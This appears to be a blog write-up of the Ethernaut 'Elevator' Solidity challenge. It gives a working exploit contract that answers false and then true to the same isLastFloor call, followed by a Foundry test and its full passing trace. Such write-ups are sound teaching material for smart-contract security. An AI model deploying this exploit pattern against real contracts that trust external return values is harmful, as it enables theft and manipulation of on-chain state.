To solve this challenge we have to set the top
state variable
to true
.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
interface Building {
function isLastFloor(uint256) external returns (bool);
}
contract Elevator {
bool public top;
uint256 public floor;
function goTo(uint256 _floor) public {
Building building = Building(msg.sender);
if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
Analysis Link to heading
Let’s go over the goTo
function:
function goTo(uint256 _floor) public {
Building building = Building(msg.sender);
if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
- It casts the
msg.sender
toBuilding
, which means that it treats themsg.sender
as a caller contract of thegoTo
function. - Then it checks if we have not yet reached the top of our
building:
!building.isLastFloor(_floor)
. - Finally, it sets the
floor
and asks the instance of thebuilding
contract if this is the last floor.
Exploit Link to heading
We can implement the Building
in any way we want. Let’s make
the isLastFloor
return false
when it is called first time
and return true
the second time. We’ll have a boolean flag for
that:
contract BadBuilding is Building {
bool private last;
Elevator private immutable elevator;
constructor(Elevator _elevator) {
last = true;
elevator = _elevator;
}
function run(uint256 floor) public {
elevator.goTo(floor);
}
function isLastFloor(uint256) external returns (bool) {
last = !last;
return last;
}
}
Now any floor will be the last 😜
function exploit() internal override {
vm.startPrank(player);
new BadBuilding(level).run(0);
vm.stopPrank();
}
The trace:
$ forge test --match-contract ElevatorTest -vvvv
Running 1 test for src/test/Elevator.t.sol:ElevatorTest
[PASS] testElevator() (gas: 400437)
Traces:
[400437] ElevatorTest::testElevator()
├─ [197817] ElevatorTest::create()
│ ├─ [0] VM::prank(player: [...])
│ │ └─ ← ()
│ ├─ [185469] Ethernaut::createLevelInstance(ElevatorFactory: [...])
│ │ ├─ [133906] ElevatorFactory::createInstance(player: [...])
│ │ │ ├─ [101347] → new Elevator@"0x037f…dd8f"
│ │ │ │ └─ ← 506 bytes of code
│ │ │ └─ ← Elevator: [...]
│ │ ├─ emit LevelInstanceCreatedLog(player: player: [...], instance: Elevator: [...])
│ │ └─ ← Elevator: [...]
│ └─ ← Elevator: [...]
├─ [0] VM::startPrank(player: [...])
│ └─ ← ()
├─ [91263] → new BadBuilding@"0xa2f9…f3a7"
│ └─ ← 344 bytes of code
├─ [37494] BadBuilding::run(0)
│ ├─ [37018] Elevator::goTo(0)
│ │ ├─ [396] BadBuilding::isLastFloor(0)
│ │ │ └─ ← false
│ │ ├─ [20394] BadBuilding::isLastFloor(0)
│ │ │ └─ ← true
│ │ └─ ← ()
│ └─ ← ()
├─ [0] VM::stopPrank()
│ └─ ← ()
├─ [0] VM::startPrank(player: [...])
│ └─ ← ()
├─ [4292] Ethernaut::submitLevelInstance(Elevator: [...])
│ ├─ [1245] ElevatorFactory::validateInstance(Elevator: [...], player: [...])
│ │ ├─ [332] Elevator::top() [staticcall]
│ │ │ └─ ← true
│ │ └─ ← true
│ ├─ emit LevelCompletedLog(player: player: [...], level: ElevatorFactory: [...])
│ └─ ← true
├─ [0] VM::stopPrank()
│ └─ ← ()
└─ ← ()
Test result: ok. 1 passed; 0 failed; finished in 990.96µs
Lessons learned Link to heading
Don’t trust the world outside 😱
Thanks for reading! We have completed another challenge and this one wasn’t that tricky 😏
The full code is here.
Let’s continue to the Ethernaut, #13 Privacy!